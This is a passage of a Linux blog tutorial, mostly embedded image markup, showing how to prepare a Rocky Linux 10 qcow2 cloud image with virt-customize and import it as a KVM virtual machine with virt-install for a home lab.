data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:630,&quot;width&quot;:1200,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135726,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KgYn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 424w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 848w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1272w, https://substackcdn.com/image/fetch/$s_!KgYn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b7ffa64-ac4a-401e-bbc9-c65cecc0fa43_1200x630.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If you&#8217;re enjoying this article,</p><p>I wrote a 700+ page book teaching Linux step by step, with real examples you can follow and break safely in your own lab.</p><p>If you&#8217;re serious about learning Linux properly, check it out:</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://firststepswithlinux.com&quot;,&quot;text&quot;:&quot;FIRST STEPS WITH LINUX&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://firststepswithlinux.com"><span>FIRST STEPS WITH LINUX</span></a></p><div><hr></div><h2><strong>Getting a disk image</strong></h2><p>To avoid going through a full operating system installation, you&#8217;ll work with prebuilt disk images.</p><p>These images already contain a minimal operating system and are ready to be used as virtual machines.</p><p>Most of these images are distributed in the qcow2 format, which is commonly used with KVM and QEMU.</p><p>You can download ready-made images from the OpenStack image repository.</p><p>They provide minimal images for distributions like RHEL, Fedora, and Ubuntu.</p><p>These images are lightweight and designed to boot quickly, which makes them ideal for testing and lab environments.</p><p>For this demonstration, I&#8217;ll be using the lastest cloud image from Rocky Linux.</p><p>You can download it from their <a href="https://rockylinux.org/download">official site</a>.</p><p>Look for the <strong>Rocky Linux 10 cloud image (qcow2)</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QEI1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QEI1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 424w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 848w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 1272w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QEI1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png" width="1228" height="527" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:527,&quot;width&quot;:1228,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:36948,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QEI1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 424w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 848w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 1272w, https://substackcdn.com/image/fetch/$s_!QEI1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ee48eee-f01e-4596-9b39-02f8a672d8a8_1228x527.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Cloud images are minimal by design and are intended to be customized and deployed quickly.</p><p>Once you&#8217;ve downloaded the image, move it to the default directory used by libvirt:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo mv Rocky-10-GenericCloud-Base.latest.x86_64.qcow2 /var/lib/libvirt/images/rock-10.qcow2</code></pre></div><p>This is where libvirt expects virtual machine disk images to be stored.</p><p>In the example, I have moved and renamed the image to a new name (<code>rock-10.qcow2)</code>to make things simple.</p><p>The image is small when downloaded, but it will grow as you use it.</p><p>Make sure you have enough disk space available, especially if you plan to create multiple virtual machines.</p><p>At this point, you have a base image ready.</p><p>The next step is to prepare it for your environment before turning it into a virtual machine.</p><h2><strong>Preparing the disk image</strong></h2><p>The image you downloaded is minimal and not ready for direct use.</p><p>Cloud images are designed to be initialized dynamically, usually through tools like cloud-init.</p><p>For this setup, you&#8217;ll prepare the image manually so it behaves like a normal system.</p><p>To modify the image, you&#8217;ll use the virt-customize tool.</p><p>Run the following command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--hostname rocky-10-kvm-lab \
--root-password password:root \
--uninstall cloud-init \
--selinux-relabel</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dOEK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dOEK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 424w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 848w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 1272w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dOEK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png" width="1039" height="344" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:344,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:54654,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dOEK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 424w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 848w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 1272w, https://substackcdn.com/image/fetch/$s_!dOEK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8b21bdd-6cc3-4a90-a9dc-68478ea593c2_1039x344.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command modifies the disk image before it is even booted.</p><p>The -a option specifies the path to the image.</p><p>The --hostname option sets the hostname of the virtual machine.</p><p>The --root-password option defines the root password. In this case, it is set to root.</p><p>The --uninstall cloud-init option removes cloud-init from the image. This avoids delays during boot, since the system will no longer wait for cloud-init configuration.</p><p>The --selinux-relabel option ensures that file contexts are correctly restored after making changes to the image. This is important on systems like Rocky Linux, Fedora, and other SELinux-enabled distributions.</p><blockquote><p>The image must not be running when you use virt-customize. You are modifying it offline.</p><p>The virt-customize tool provides many more options than what is shown here. You can explore them using the manual pages (man virt-customize) and experiment based on your needs.</p></blockquote><p>Now, the image is configured and ready to be used as a virtual machine.</p><p>The next step is to import it into KVM and create the virtual machine.</p><h2><strong>Creating the virtual machine</strong></h2><p>Now that the image is prepared, you can import it into KVM and create a virtual machine.</p><p>Run the following command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo virt-install \
--name rocky-10-kvm-lab-demo \
--memory 1024 \
--vcpus 1 \
--disk /var/lib/libvirt/images/rock-10.qcow2 \
--import \
--os-variant rocky9.0 \
--noautoconsole</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DSYt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DSYt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 424w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 848w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 1272w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DSYt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png" width="1039" height="361" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:361,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:51975,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DSYt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 424w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 848w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 1272w, https://substackcdn.com/image/fetch/$s_!DSYt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae8fb326-c88e-43cb-9612-f02dffddfea5_1039x361.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command creates a virtual machine using the existing disk image.</p><p>The --name option defines the name of the virtual machine.</p><p>The --memory option sets the RAM in megabytes, and --vcpus defines how many virtual CPUs the system will use.</p><p>The --disk option points to the image you prepared earlier.</p><p>The --import option tells KVM to use the existing disk instead of installing a new operating system.</p><p>The --os-variant option helps optimize the virtual machine configuration for a specific operating system.</p><p>To see the operating systems available on your system, you can run:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ osinfo-query os</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sMuS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sMuS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 424w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 848w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 1272w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sMuS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png" width="1039" height="350" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:350,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:39896,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sMuS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 424w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 848w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 1272w, https://substackcdn.com/image/fetch/$s_!sMuS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb6124f5-456b-431d-a978-289c3a20ed5f_1039x350.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command queries the local OS information database and lists the operating systems recognized by libosinfo.</p><p>You can achieve the same thing with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virt-install --osinfo list</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 